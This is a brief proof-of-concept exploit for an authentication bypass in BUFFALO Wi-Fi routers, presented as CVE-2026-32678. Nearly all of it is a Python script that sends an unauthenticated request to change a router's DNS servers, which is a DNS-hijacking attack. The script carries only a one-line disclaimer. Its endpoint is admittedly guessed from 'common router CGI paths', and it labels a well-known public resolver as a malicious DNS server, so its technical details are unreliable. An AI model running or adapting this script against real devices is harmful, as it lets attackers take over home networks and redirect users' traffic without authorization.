Authentication bypass issue exists in BUFFALO Wi-Fi router products, which may allow an attacker to alter critical configuration settings without authentication.
The following code is for security research and authorized testing only.
python
import requests
def exploit(target_ip):
"""
PoC for CVE-2026-32678 Authentication Bypass
This script attempts to change the DNS settings without authentication.
"""
# Target endpoint (example based on common router CGI paths)
url = f"http://{target_ip}/cgi-bin/cgi_system"
# Malicious payload to change DNS settings
payload = {
"action": "apply",
"dns_mode": "manual",
"dns_primary": "1.1.1.1", # Malicious DNS server
"dns_secondary": "1.0.0.1"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": f"http://{target_ip}/"
}
try:
print(f"[*] Sending exploit request to {target_ip}...")
# No authentication header is sent, exploiting the bypass
response = requests.post(url, data=payload, headers=headers, timeout=5)
if response.status_code == 200 and "success" in response.text.lower():
print("[+] Exploit successful! Configuration may have been altered.")
else:
print(f"[-] Exploit failed or target not vulnerable. Status: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Connection error: {e}")
if __name__ == "__main__":
target = "192.168.11.1" # Replace with actual target IP
exploit(target)